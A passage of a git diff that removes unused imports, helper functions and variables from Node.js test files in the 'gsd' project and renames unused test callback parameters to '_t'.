b/tests/bug-3128-roadmap-plan-count-slug-layout.test.cjs @@ -18,7 +18,6 @@ const { describe, test } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); -const os = require('node:os'); const path = require('node:path'); const ROOT = path.join(__dirname, '..'); @@ -33,14 +32,6 @@ const planScanLib = path.join(ROOT, 'gsd-core', 'bin', 'lib', 'plan-scan.cjs'); // The simplest correct seam: inspect the source for the regex pattern and // validate with a synthetic directory that the manager path returns correct counts. -// Build a temporary phase directory with the slug layout -function makeTempPhase(files) { - const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-3128-')); - for (const f of files) { - fs.writeFileSync(path.join(dir, f), `# ${f}\n`); - } - return dir; -} // Import countPhasePlansAndSummaries by monkey-patching: we inline the // fixed filter logic and verify it matches the file on disk. diff --git a/tests/bug-3135-capture-backlog-workflow.test.cjs b/tests/bug-3135-capture-backlog-workflow.test.cjs index 4d0f85241..c982f01c9 100644 --- a/tests/bug-3135-capture-backlog-workflow.test.cjs +++ b/tests/bug-3135-capture-backlog-workflow.test.cjs @@ -25,7 +25,6 @@ const path = require('node:path'); const ROOT = path.join(__dirname, '..'); const WORKFLOW = path.join(ROOT, 'gsd-core', 'workflows', 'add-backlog.md'); const COMMANDS_DIR = path.join(ROOT, 'commands', 'gsd'); -const WORKFLOWS_DIR = path.join(ROOT, 'gsd-core', 'workflows'); // ─── #3135: add-backlog workflow ───────────────────────────────────────────── diff --git a/tests/bug-3242-state-update-progress-trample.test.cjs b/tests/bug-3242-state-update-progress-trample.test.cjs index d94034724..5ceb8837d 100644 --- a/tests/bug-3242-state-update-progress-trample.test.cjs +++ b/tests/bug-3242-state-update-progress-trample.test.cjs @@ -104,7 +104,7 @@ describe('#3242 Bug A: body-only state.update preserves curated progress frontma cleanup(tmpDir); }); - test('state.update "Last Activity" does not overwrite progress.completed_plans', (t) => { + test('state.update "Last Activity" does not overwrite progress.completed_plans', (_t) => { const statePath = path.join(tmpDir, '.planning', 'STATE.md'); fs.writeFileSync(statePath, buildStateWithCuratedProgress({ completedPlans: 22, @@ -220,7 +220,7 @@ describe('#3242 Bug B: progress.percent reflects phase fraction when ROADMAP dec cleanup(tmpDir); }); - test('12 declared phases / 6 realized / 6/6 plans done → percent is 50, not 100', (t) => { + test('12 declared phases / 6 realized / 6/6 plans done → percent is 50, not 100', (_t) => { const statePath = path.join(tmpDir, '.planning', 'STATE.md'); // Body: 6 realized phases visible to disk scan. @@ -273,7 +273,7 @@ describe('#3242 Bug B: progress.percent reflects phase fraction when ROADMAP dec ); }); - test('all phases realized: percent equals plan fraction (no artificial cap)', (t) => { + test('all phases realized: percent equals plan fraction (no artificial cap)', (_t) => { const statePath = path.join(tmpDir, '.planning', 'STATE.md'); fs.writeFileSync(statePath, [ diff --git a/tests/bug-3285-codex-hooks-state-allowed.test.cjs b/tests/bug-3285-codex-hooks-state-allowed.test.cjs index 9c2f1ab13..b2ed9b67f 100644 --- a/tests/bug-3285-codex-hooks-state-allowed.test.cjs +++ b/tests/bug-3285-codex-hooks-state-allowed.test.cjs @@ -26,7 +26,6 @@ const os = require('os'); const { execFileSync } = require('child_process'); const { validateCodexConfigSchema, install } = require('../bin/install.js'); -const installModule = require('../bin/install.js'); const { cleanup } = require('./helpers.cjs'); if (previousGsdTestMode === undefined) { diff --git a/tests/bug-3288-model-catalog-install-path.test.cjs b/tests/bug-3288-model-catalog-install-path.test.cjs index 4cda25002..4f7d7837d 100644 --- a/tests/bug-3288-model-catalog-install-path.test.cjs +++ b/tests/bug-3288-model-catalog-install-path.test.cjs @@ -29,7 +29,6 @@ const { describe, test, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const os = require('node:os'); const REPO_ROOT = path.join(__dirname, '..'); const MODEL_CATALOG_CJS = path.join(REPO_ROOT, 'gsd-core', 'bin', 'lib', 'model-catalog.cjs'); diff --git a/tests/bug-3523-cjs-loadconfig-branching-strategy-warning.test.cjs b/tests/bug-3523-cjs-loadconfig-branching-strategy-warning.test.cjs index 00562212b..11bbdc1d0 100644 --- a/tests/bug-3523-cjs-loadconfig-branching-strategy-warning.test.cjs +++ b/tests/bug-3523-cjs-loadconfig-branching-strategy-warning.test.cjs @@ -31,7 +31,7 @@ * "no warning" pattern from #2687). */ -const { describe, test, afterEach, before } = require('node:test'); +const { describe, test, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); diff --git a/tests/bug-3537-padded-id-against-unpadded-roadmap.test.cjs b/tests/bug-3537-padded-id-against-unpadded-roadmap.test.cjs index def22af89..ed4fefe22 100644 --- a/tests/bug-3537-padded-id-against-unpadded-roadmap.test.cjs +++ b/tests/bug-3537-padded-id-against-unpadded-roadmap.test.cjs @@ -20,7 +20,7 @@ 'use strict'; -const { describe, test, beforeEach, afterEach } = require('node:test'); +const { describe, test } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); diff --git a/tests/bug-3541-installer-migration-prompt-user-resolution.test.cjs b/tests/bug-3541-installer-migration-prompt-user-resolution.test.cjs index 47c193e51..b4f0887a6 100644 --- a/tests/bug-3541-installer-migration-prompt-user-resolution.test.cjs +++ b/tests/bug-3541-installer-migration-prompt-user-resolution.test.cjs @@ -25,7 +25,6 @@ const { describe, test, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const crypto = require('node:crypto'); const { runInstallerMigrations, @@ -36,10 +35,6 @@ const { } = require('../gsd-core/bin/lib/installer-migration-report.cjs'); const { createTempDir, cleanup } = require('./helpers.cjs'); -function sha256(content) { - return crypto.createHash('sha256').update(content).digest('hex'); -} - function writeFile(root, relPath, content) { const fullPath = path.join(root, relPath); fs.mkdirSync(path.dirname(fullPath), { recursive: true }); diff --git a/tests/bug-3571-configuration-manifest-install-path.test.cjs b/tests/bug-3571-configuration-manifest-install-path.test.cjs index c1b988935..376c1cfc2 100644 --- a/tests/bug-3571-configuration-manifest-install-path.test.cjs +++ b/tests/bug-3571-configuration-manifest-install-path.test.cjs @@ -11,7 +11,6 @@ process.env.GSD_TEST_MODE = '1'; const { describe, test, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); -const os = require('node:os'); const path = require('node:path'); const REPO_ROOT = path.join(__dirname, '..'); diff --git a/tests/bug-3582-codex-skills-materialized.test.cjs b/tests/bug-3582-codex-skills-materialized.test.cjs index 9fbe51596..ac6ae112d 100644 --- a/tests/bug-3582-codex-skills-materialized.test.cjs +++ b/tests/bug-3582-codex-skills-materialized.test.cjs @@ -38,7 +38,6 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const os = require('os'); const { install, getCodexSkillAdapterHeader } = require('../bin/install.js'); const { parseFrontmatter, createTempDir, cleanup } = require('./helpers.cjs'); diff --git a/tests/bug-3610-installer-migration-bundled-hooks-classification.test.cjs b/tests/bug-3610-installer-migration-bundled-hooks-classification.test.cjs index d30913b72..fb5576104 100644 --- a/tests/bug-3610-installer-migration-bundled-hooks-classification.test.cjs +++ b/tests/bug-3610-installer-migration-bundled-hooks-classification.test.cjs @@ -27,7 +27,6 @@ const { describe, test, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); -const crypto = require('node:crypto'); const { runInstallerMigrations, diff --git a/tests/bug-3659-applysurface-prune-skill-dirs.test.cjs b/tests/bug-3659-applysurface-prune-skill-dirs.test.cjs index 067ede288..4feda3126 100644 --- a/tests/bug-3659-applysurface-prune-skill-dirs.test.cjs +++ b/tests/bug-3659-applysurface-prune-skill-dirs.test.cjs @@ -84,7 +84,7 @@ function createFixtureWithUserGsdDir() { describe('bug-3659: applySurface prunes ~/.claude/skills/gsd-*/ on cluster disable', () => { test('(a) disabled cluster gsd-* dirs are removed from skills dir', (t) => { - const { configDir, skillsDir, gsdExplore, gsdHelp } = createFixture(); + const { configDir, gsdExplore, gsdHelp } = createFixture(); t.after(() => cleanup(configDir)); // Surface state at configDir (= ~/.claude), NOT at skillsDir (= ~/.claude/skills). @@ -116,7 +116,7 @@ describe('bug-3659: applySurface prunes ~/.claude/skills/gsd-*/ on cluster disab }); test('(b) gsd-* dirs in retained clusters are preserved', (t) => { - const { configDir, skillsDir, gsdHelp } = createFixture(); + const { configDir, gsdHelp } = createFixture(); t.after(() => cleanup(configDir)); // Disable a cluster that does NOT include help (core_loop has help) @@ -138,7 +138,7 @@ describe('bug-3659: applySurface prunes ~/.claude/skills/gsd-*/ on cluster disab }); test('(c) non-gsd user dirs are untouched', (t) => { - const { configDir, skillsDir, userSkill } = createFixture(); + const { configDir, userSkill } = createFixture(); t.after(() => cleanup(configDir)); writeSurface(configDir, { @@ -163,7 +163,7 @@ describe('bug-3659: applySurface prunes ~/.claude/skills/gsd-*/ on cluster disab }); test('(d) idempotence: running applySurface twice produces identical on-disk state', (t) => { - const { configDir, skillsDir, gsdExplore, gsdHelp, userSkill } = createFixture(); + const { configDir, skillsDir, gsdExplore, userSkill } = createFixture(); t.after(() => cleanup(configDir)); writeSurface(configDir, { @@ -212,7 +212,7 @@ describe('bug-3659: applySurface prunes ~/.claude/skills/gsd-*/ on cluster disab // 2. gsd-help/ — GSD-owned, disabled cluster → REMOVED // 3. my-custom-skill/ — user-owned, no gsd- prefix → PRESERVED // 4. gsd-mything/ — prefix match but NOT in manifest → PRESERVED (Finding 1 fix) - const { configDir, skillsDir, gsdExplore, gsdHelp, userSkill, userGsdDir } = + const { configDir, gsdExplore, gsdHelp, userSkill, userGsdDir } = createFixtureWithUserGsdDir(); t.after(() => cleanup(configDir)); diff --git a/tests/bug-3683-workflow-colon-namespace-leak.test.cjs b/tests/bug-3683-workflow-colon-namespace-leak.test.cjs index 26ff91a2f..4732c715b 100644 --- a/tests/bug-3683-workflow-colon-namespace-leak.test.cjs +++ b/tests/bug-3683-workflow-colon-namespace-leak.test.cjs @@ -42,7 +42,7 @@ const { cleanup } = require('./helpers.cjs'); const REPO_ROOT = path.resolve(__dirname, '..'); const INSTALL_PATH = path.join(REPO_ROOT, 'bin', 'install.js'); -const install = require(INSTALL_PATH); +require(INSTALL_PATH); const { readCmdNames } = require(path.join(REPO_ROOT, 'scripts', 'fix-slash-commands.cjs')); // --------------------------------------------------------------------------- @@ -400,7 +400,6 @@ describe('bug #3683 — workflow/reference colon-namespace leak (Claude local in describe('G — negative: staged gemini workflows preserve colon-namespace refs', () => { let tmpDir; const cmdNames = readCmdNames(); - const rosterRegex = buildRosterRegex(cmdNames); before(() => { tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-3683-gem-')); diff --git a/tests/bug-3691-annotate-deps-plans-block-variants.test.cjs b/tests/bug-3691-annotate-deps-plans-block-variants.test.cjs index f6b48e1a5..06841655d 100644 --- a/tests/bug-3691-annotate-deps-plans-block-variants.test.cjs +++ b/tests/bug-3691-annotate-deps-plans-block-variants.test.cjs @@ -83,7 +83,7 @@ describe('bug #3691 — Bug 1: Plans-block detection with inline summary', () => let tmpDir; afterEach(() => cleanup(tmpDir)); - test('Plans: N plans (inline count after colon) is detected as a Plans-block', (t) => { + test('Plans: N plans (inline count after colon) is detected as a Plans-block', (_t) => { // Pre-fix: `Plans:\s*\n` requires bare newline — fails for "Plans: 2 plans\n" // Post-fix: `Plans:[^\n]*\n` accepts any text after the colon const roadmap = [ @@ -117,7 +117,7 @@ describe('bug #3691 — Bug 1: Plans-block detection with inline summary', () => assert.ok(written.includes('Wave'), 'wave annotation must appear in ROADMAP.md'); }); - test('Plans: N plans across N waves (longer inline text) is detected', (t) => { + test('Plans: N plans across N waves (longer inline text) is detected', (_t) => { const roadmap = [ '# Roadmap', '', @@ -144,7 +144,7 @@ describe('bug #3691 — Bug 1: Plans-block detection with inline summary', () => 'Plans-block with "N plans across N waves" inline text must be detected'); }); - test('**Plans:** (bold markdown wrapper) is detected as a Plans-block', (t) => { + test('**Plans:** (bold markdown wrapper) is detected as a Plans-block', (_t) => { // Bold wrapper: `**Plans:** 3 plans across 2 waves` const roadmap = [ '# Roadmap', @@ -170,7 +170,7 @@ describe('bug #3691 — Bug 1: Plans-block detection with inline summary', () => '**Plans:** bold-wrapped header must be detected as a Plans-block'); }); - test('bare Plans: (no inline text, legacy format) still works after fix', (t) => { + test('bare Plans: (no inline text, legacy format) still works after fix', (_t) => { // Regression guard: the fix must not break the working case const roadmap = [ '# Roadmap', @@ -205,7 +205,7 @@ describe('bug #3691 — Bug 3: decimal plan IDs (e.g. 02.3-01-PLAN.md) parse cor let tmpDir; afterEach(() => cleanup(tmpDir)); - test('decimal plan ID 02.3-01 is captured fully and matched to the correct wave', (t) => { + test('decimal plan ID 02.3-01 is captured fully and matched to the correct wave', (_t) => { // Pre-fix: `[\w-]+?` stops at `.` → captures `02` only → planData.find misses → wave = 1 for all // Post-fix: `[\w.-]+?` captures `02.3-01` → planData.find resolves → correct wave written const roadmap = [ @@ -238,7 +238,7 @@ describe('bug #3691 — Bug 3: decimal plan IDs (e.g. 02.3-01-PLAN.md) parse cor assert.ok(/Wave 2/.test(written), 'Wave 2 header must appear in output'); }); - test('combined fixture: decimal phase + bold Plans: header (both bugs together)', (t) => { + test('combined fixture: decimal phase + bold Plans: header (both bugs together)', (_t) => { // Exercises Bug 1 (bold **Plans:** header) AND Bug 3 (decimal IDs) simultaneously. // This is the exact ROADMAP fragment from the issue report. const roadmap = [ @@ -280,7 +280,7 @@ describe('review fix F3 — leading-dot plan ID is rejected (defensive guard)', let tmpDir; afterEach(() => cleanup(tmpDir)); - test('checklist line with leading-dot plan ID is skipped and does not silently default to wave 1', (t) => { + test('checklist line with leading-dot plan ID is skipped and does not silently default to wave 1', (_t) => { // Guards: `.invalid-PLAN.md` would be captured as `.invalid` by the `[\w.-]+?` regex // (since `.` is now included), which starts with a dot — an invalid ID. // Without the guard, planData.find() misses it and wave defaults to 1, silently @@ -327,7 +327,7 @@ describe('review fix F4 — adversarial test gaps', () => { let tmpDir; afterEach(() => cleanup(tmpDir)); - test('001.10-PLAN.md multi-decimal leading-zero ID is captured fully and wave-assigned correctly', (t) => { + test('001.10-PLAN.md multi-decimal leading-zero ID is captured fully and wave-assigned correctly', (_t) => { // Guards regression of Bug 3: `[\w-]+?` would stop at the first `.` and // capture `001` instead of `001.10`, which never matches any planData entry. // Post-fix `[\w.-]+?` must capture `001.10` in full. @@ -357,7 +357,7 @@ describe('review fix F4 — adversarial test gaps', () => { 'wave 2 dependency must be resolved from full 001.10-02 ID (not truncated to 001)'); }); - test('**Plans:** (bold, no trailing text) is matched and checklist is processed', (t) => { + test('**Plans:** (bold, no trailing text) is matched and checklist is processed', (_t) => { // Guards the bare-bold variant: `**Plans:**` with nothing after the colon. // The `[^\n]*` quantifier accepts zero chars so this should already work, // but this test would fail if `\*{0,2}Plans\*{0,2}` regressed to require no stars. diff --git a/tests/bug-3707-locked-worktree-cleanup.test.cjs b/tests/bug-3707-locked-worktree-cleanup.test.cjs index fdd2383e0..ee1b1f0c6 100644 --- a/tests/bug-3707-locked-worktree-cleanup.test.cjs +++ b/tests/bug-3707-locked-worktree-cleanup.test.cjs @@ -16,7 +16,6 @@ const { cleanup } = require('./helpers.cjs'); const { executeWorktreeWaveCleanupPlan, - planWorktreeWaveCleanup, reapOrphanWorktrees, } = require('../gsd-core/bin/lib/worktree-safety.cjs'); diff --git a/tests/bug-3735-profiles-core-includes-surface.test.cjs b/tests/bug-3735-profiles-core-includes-surface.test.cjs index ff7a1b96c..6f810a6af 100644 --- a/tests/bug-3735-profiles-core-includes-surface.test.cjs +++ b/tests/bug-3735-profiles-core-includes-surface.test.cjs @@ -13,7 +13,6 @@ const assert = require('node:assert/strict'); const path = require('path'); const { - PROFILES, resolveProfile, loadSkillsManifest, } = require('../gsd-core/bin/lib/install-profiles.cjs'); diff --git a/tests/bug-3739-gap-checker-padded-prefix-context.test.cjs b/tests/bug-3739-gap-checker-padded-prefix-context.test.cjs index b3b98b040..c6b078f51 100644 --- a/tests/bug-3739-gap-checker-padded-prefix-context.test.cjs +++ b/tests/bug-3739-gap-checker-padded-prefix-context.test.cjs @@ -21,20 +21,10 @@ const fs = require('fs'); const path = require('path'); const { runGsdTools, createTempProject, cleanup } = require('./helpers.cjs'); -const REPO_ROOT = path.join(__dirname, '..'); - describe('bug #3739 — gap-analysis padded-prefix CONTEXT.md', () => { let tmpDir; let phaseDir; - function writeRequirements(ids) { - const lines = ids.map((id, i) => `- [ ] **${id}** Requirement ${i + 1}`); - fs.writeFileSync( - path.join(tmpDir, '.planning', 'REQUIREMENTS.md'), - `# Requirements\n\n${lines.join('\n')}\n` - ); - } - function writeContextAs(filename, decisions) { const dLines = decisions.map(d => `- **${d.id}:** ${d.text}`).join('\n'); fs.writeFileSync( diff --git a/tests/bug-376-claude-js-hook-gsd-rewriter.test.cjs b/tests/bug-376-claude-js-hook-gsd-rewriter.test.cjs index 5ef1fea04..12d66b7b1 100644 --- a/tests/bug-376-claude-js-hook-gsd-rewriter.test.cjs +++ b/tests/bug-376-claude-js-hook-gsd-rewriter.test.cjs @@ -32,7 +32,6 @@ const { cleanup } = require('./helpers.cjs'); const REPO_ROOT = path.resolve(__dirname, '..'); const INSTALL_PATH = path.join(REPO_ROOT, 'bin', 'install.js'); const HOOKS_DIST_DIR = path.join(REPO_ROOT, 'hooks', 'dist'); -const HOOKS_SRC_DIR = path.join(REPO_ROOT, 'hooks'); // --------------------------------------------------------------------------- // Helpers diff --git a/tests/bug-3784-gsd-settings-model-profile-ui-omits-adaptive.test.cjs b/tests/bug-3784-gsd-settings-model-profile-ui-omits-adaptive.test.cjs index 245108796..36ddfb7c6 100644 --- a/tests/bug-3784-gsd-settings-model-profile-ui-omits-adaptive.test.cjs +++ b/tests/bug-3784-gsd-settings-model-profile-ui-omits-adaptive.test.cjs @@ -184,7 +184,6 @@ describe('bug #3784: settings.md model profile UI exposes all 5 profiles', () => // commit bd53925f fixed a duplicate '{' introduced by 35fc1d21 when the model-profile // AskUserQuestion was split into Q1+Q2. This test guards against a recurrence. let depth = 0; - const maxDepth = 0; for (const ch of presentBlock) { if (ch === '{') { depth++; } if (ch === '}') { depth--; } diff --git a/tests/bug-474-clock-seam-date-determinism.test.cjs b/tests/bug-474-clock-seam-date-determinism.test.cjs index e1efa2403..9d3f0d328 100644 --- a/tests/bug-474-clock-seam-date-determinism.test.cjs +++ b/tests/bug-474-clock-seam-date-determinism.test.cjs @@ -14,7 +14,7 @@ * the clock seam (in-process, using makeFakeClock — no subprocess needed). */ -const { describe, it, test, before, after } = require('node:test'); +const { describe, test, before, after } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); diff --git a/tests/bug-492-effort-manifest-fallback.test.cjs b/tests/bug-492-effort-manifest-fallback.test.cjs index 478d5e31a..4e504dd56 100644 --- a/tests/bug-492-effort-manifest-fallback.test.cjs +++ b/tests/bug-492-effort-manifest-fallback.test.cjs @@ -4,9 +4,8 @@ process.env.GSD_TEST_MODE = "1"; const { describe, test, beforeEach, afterEach } = require("node:test"); const assert = require("node:assert/strict"); -const path = require("path"); const { createTempProject, cleanup } = require("./helpers.cjs"); -const { resolveEffortInternal, CONFIG_DEFAULTS } = require("../gsd-core/bin/lib/core.cjs"); +const { resolveEffortInternal } = require("../gsd-core/bin/lib/core.cjs"); const { CONFIG_DEFAULTS: CANONICAL_CONFIG_DEFAULTS } = require("../gsd-core/bin/lib/configuration.cjs"); describe("#492 manifest effort fallback", () => { diff --git a/tests/bug-570-codex-leak-scanner.test.cjs b/tests/bug-570-codex-leak-scanner.test.cjs index 127035a25..e0ad8b186 100644 --- a/tests/bug-570-codex-leak-scanner.test.cjs +++ b/tests/bug-570-codex-leak-scanner.test.cjs @@ -30,7 +30,6 @@ const { execFileSync } = require('node:child_process'); const { install, - writeManifest, convertClaudeCommandToCodexSkill, } = require('../bin/install.js'); const { createTempDir, cleanup, captureConsole } = require('./helpers.cjs'); diff --git a/tests/changeset-cli.test.cjs b/tests/changeset-cli.test.cjs index 852354122..03ed3b5e5 100644 --- a/tests/changeset-cli.test.cjs +++ b/tests/changeset-cli.test.cjs @@ -93,7 +93,7 @@ function runExtract(args = [], changelogText = null) { } describe('changeset cli extract: version-range changelog extraction (#3496)', () => { - test('exits 2 with no output when no versions fall in range', (t) => { + test('exits 2 with no output when no versions fall in range', (_t) => { const r = runExtract(['--from', '1.5.15', '--to', '1.5.15', '--json'], EXTRACT_CHANGELOG); assert.equal(r.status, 2, `expected exit 2 for empty range, stderr=${r.stderr}`); // F11: assert JSON structure is present and releases is empty array @@ -101,7 +101,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () assert.strictEqual(r.json.releases.length, 0, 'releases must be empty array on exit 2'); }); - test('extracts versions strictly after from and up to and including to', (t) => { + test('extracts versions strictly after from and up to and including to', (_t) => { const r = runExtract(['--from', '1.5.13', '--to', '1.5.15', '--json'], EXTRACT_CHANGELOG); assert.equal(r.status, 0, `stderr=${r.stderr}`); assert.ok(r.json, 'stdout must be valid JSON'); @@ -112,7 +112,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () assert.ok(!versions.includes('1.5.10'), '1.5.10 must NOT be in range (below from)'); }); - test('accepts v-prefixed version arguments', (t) => { + test('accepts v-prefixed version arguments', (_t) => { const r = runExtract(['--from', 'v1.5.13', '--to', 'v1.5.15', '--json'], EXTRACT_CHANGELOG); assert.equal(r.status, 0, `stderr=${r.stderr}`); assert.ok(r.json, 'stdout must be valid JSON'); @@ -122,7 +122,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () assert.ok(!versions.includes('1.5.13')); }); - test('captures multi-line bullets in extracted range', (t) => { + test('captures multi-line bullets in extracted range', (_t) => { const r = runExtract(['--from', '1.5.13', '--to', '1.5.14', '--json'], EXTRACT_CHANGELOG); assert.equal(r.status, 0, `stderr=${r.stderr}`); const release = r.json.releases.find((rel) => rel.version === '1.5.14'); @@ -132,7 +132,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () assert.ok(prs.includes(102), 'multi-line bullet pr=102 must be captured'); }); - test('emits markdown text (non-JSON) when --json is not passed', (t) => { + test('emits markdown text (non-JSON) when --json is not passed', (_t) => { // Without --json the output is human-readable markdown, not JSON. // Assert on structural facts derivable from the text: exactly the two // matched releases appear as ## headers, using parseChangelog so we @@ -149,13 +149,13 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () assert.ok(!versions.includes('1.5.13'), '1.5.13 must not appear in output (excluded by --from)'); }); - test('missing --from or --to emits usage and exits non-zero', (t) => { + test('missing --from or --to emits usage and exits non-zero', (_t) => { const r = runExtract(['--from', '1.0.0'], EXTRACT_CHANGELOG); assert.notEqual(r.status, 0); assert.ok(r.stderr.length > 0 || r.stdout.length > 0, 'must emit usage text'); }); - test('rejects malformed --from semver (non-numeric component) with exit 1', (t) => { + test('rejects malformed --from semver (non-numeric component) with exit 1', (_t) => { const r = runExtract(['--from', '1.41.x', '--to', '1.5.15', '--json'], EXTRACT_CHANGELOG); assert.equal(r.status, 1, `expected exit 1 for malformed --from, stderr=${r.stderr}`); assert.ok(r.json, 'stdout must be valid JSON on error'); @@ -163,7 +163,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () assert.ok(r.json.error.includes('--from'), 'error must mention --from'); }); - test('rejects malformed --to semver (alphabetic) with exit 1', (t) => { + test('rejects malformed --to semver (alphabetic) with exit 1', (_t) => { const r = runExtract(['--from', '1.5.13', '--to', 'foo', '--json'], EXTRACT_CHANGELOG); assert.equal(r.status, 1, `expected exit 1 for malformed --to, stderr=${r.stderr}`); assert.ok(r.json, 'stdout must be valid JSON on error'); @@ -171,7 +171,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () assert.ok(r.json.error.includes('--to'), 'error must mention --to'); }); - test('preserves bullets without PR trailer in extracted output', (t) => { + test('preserves bullets without PR trailer in extracted output', (_t) => { // Fixture with one no-PR bullet and one PR bullet. const CHANGELOG_NO_PR = [ '# Changelog', @@ -196,7 +196,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () }); // F2: pre-release entries must be excluded from range queries - test('F2: pre-release entry 1.0.0-rc.1 is excluded from range --from 0.9.9 --to 1.0.0', (t) => { + test('F2: pre-release entry 1.0.0-rc.1 is excluded from range --from 0.9.9 --to 1.0.0', (_t) => { const CHANGELOG_WITH_PRERELEASE = [ '# Changelog', '', @@ -228,7 +228,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () }); // F3: linked-header format ## [1.42.1](url) - date must parse date correctly - test('F3: linked-header ## [1.42.1](url) - date parses date correctly', (t) => { + test('F3: linked-header ## [1.42.1](url) - date parses date correctly', (_t) => { const CHANGELOG_LINKED = [ '# Changelog', '', @@ -255,7 +255,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () }); // F4: nested bullets must remain as separate bullets, not fold into parent - test('F4: nested bullets are not folded into parent bullet', (t) => { + test('F4: nested bullets are not folded into parent bullet', (_t) => { const CHANGELOG_NESTED = [ '# Changelog', '', @@ -283,7 +283,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () }); // F5+F6: 4-part headers and v-prefix in-file headers - test('F5+F6: 4-part version in CHANGELOG is skipped, v-prefixed version parses without v', (t) => { + test('F5+F6: 4-part version in CHANGELOG is skipped, v-prefixed version parses without v', (_t) => { const CHANGELOG_EDGE = [ '# Changelog', '', @@ -324,7 +324,7 @@ describe('changeset cli extract: version-range changelog extraction (#3496)', () // F1: workflows/update.md must reference the extract subcommand invocation. // allow-test-rule: reads a product workflow .md file (not CJS source) to verify // the user-facing instruction was wired; there is no behavioural runtime to invoke. - test('F1: workflows/update.md contains concrete extract subcommand invocation', (t) => { + test('F1: workflows/update.md contains concrete extract subcommand invocation', (_t) => { const workflowPath = path.join(ROOT, 'gsd-core', 'workflows', 'update.md'); const workflowText = fs.readFileSync(workflowPath, 'utf8'); // The invocation is: node "$GSD_DIR/gsd-core/scripts/changeset/cli.cjs" extract diff --git a/tests/claude-skills-migration.test.cjs b/tests/claude-skills-migration.test.cjs index 23813d3df..fbfd8e0fb 100644 --- a/tests/claude-skills-migration.test.cjs +++ b/tests/claude-skills-migration.test.cjs @@ -25,7 +25,6 @@ const ROOT = path.join(__dirname, '..'); const { convertClaudeCommandToClaudeSkill, writeManifest, - install, installRuntimeArtifacts, uninstallRuntimeArtifacts, } = require(path.join(ROOT, 'bin', 'install.js')); diff --git a/tests/clock-seam.test.cjs b/tests/clock-seam.test.cjs index 43a5593a2..dfa98b058 100644 --- a/tests/clock-seam.test.cjs +++ b/tests/clock-seam.test.cjs @@ -34,12 +34,11 @@ const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); const os = require('node:os'); -const { spawnSync } = require('node:child_process'); const { makeFakeClock } = require('./helpers/clock.cjs'); const { acquireStateLock, releaseStateLock, readModifyWriteStateMd } = require('../gsd-core/bin/lib/state.cjs'); const { withPlanningLock } = require('../gsd-core/bin/lib/planning-workspace.cjs'); -const { createTempProject, cleanup, runGsdTools, TOOLS_PATH } = require('./helpers.cjs'); +const { createTempProject, cleanup, runGsdTools } = require('./helpers.cjs'); // ───────────────────────────────────────────────────────────────────────────── // 1. Fake-clock proof: acquireStateLock accepts and uses the clock seam @@ -209,10 +208,6 @@ describe('withPlanningLock clock seam', () => { // Clock that advances past lockTimeout on every sleep call so the while // condition trips immediately after the first retry. let nowValue = 0; - const clock = { - now() { return nowValue; }, - sleep(ms) { nowValue += ms + 11000; }, // jump past lockTimeout on every sleep - }; // withPlanningLock exits the while loop (timeout), deletes the lock, then // calls runWithHeldLock() which tries writeFileSync with { flag: 'wx' }. diff --git a/tests/code-review-command.test.cjs b/tests/code-review-command.test.cjs index 349415453..487c35c80 100644 --- a/tests/code-review-command.test.cjs +++ b/tests/code-review-command.test.cjs @@ -10,7 +10,7 @@ * wired into config, templates, and the ship workflow. */ -const { describe, test, beforeEach, afterEach } = require('node:test'); +const { describe, test } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); diff --git a/tests/concurrency-safety.test.cjs b/tests/concurrency-safety.test.cjs index 3d0725a17..9dff9ecc0 100644 --- a/tests/concurrency-safety.test.cjs +++ b/tests/concurrency-safety.test.cjs @@ -20,7 +20,6 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const os = require('os'); const { runGsdTools, createTempProject, cleanup } = require('./helpers.cjs'); const { normalizeContent } = require('../gsd-core/bin/lib/shell-command-projection.cjs'); @@ -31,13 +30,6 @@ const normalizeMd = (input) => normalizeContent('test.md', input).content; // ─── Helpers ──────────────────────────────────────────────────────────────── -function writeMinimalRoadmap(tmpDir, phases = ['1']) { - const lines = phases.map(n => `### Phase ${n}: Phase ${n} Description`).join('\n'); - fs.writeFileSync( - path.join(tmpDir, '.planning', 'ROADMAP.md'), - `# Roadmap\n\n${lines}\n` - ); -} function writeMinimalStateMd(tmpDir, content) { const defaultContent = content || `# Session State\n\n## Current Position\n\nPhase: 1\n`; @@ -47,22 +39,6 @@ function writeMinimalStateMd(tmpDir, content) { ); } -function writeMinimalProjectMd(tmpDir) { - const sections = ['## What This Is', '## Core Value', '## Requirements']; - const content = sections.map(s => `${s}\n\nContent here.\n`).join('\n'); - fs.writeFileSync( - path.join(tmpDir, '.planning', 'PROJECT.md'), - `# Project\n\n${content}` - ); -} - -function writeValidConfigJson(tmpDir, overrides = {}) { - const base = { model_profile: 'balanced', commit_docs: true }; - 